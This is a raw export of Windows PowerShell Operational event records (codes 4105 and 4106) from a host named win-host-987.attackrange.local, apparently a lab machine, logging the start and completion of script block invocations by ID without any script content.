ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042977
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042955
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042953
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042952
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042935
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042929
Keywords=None
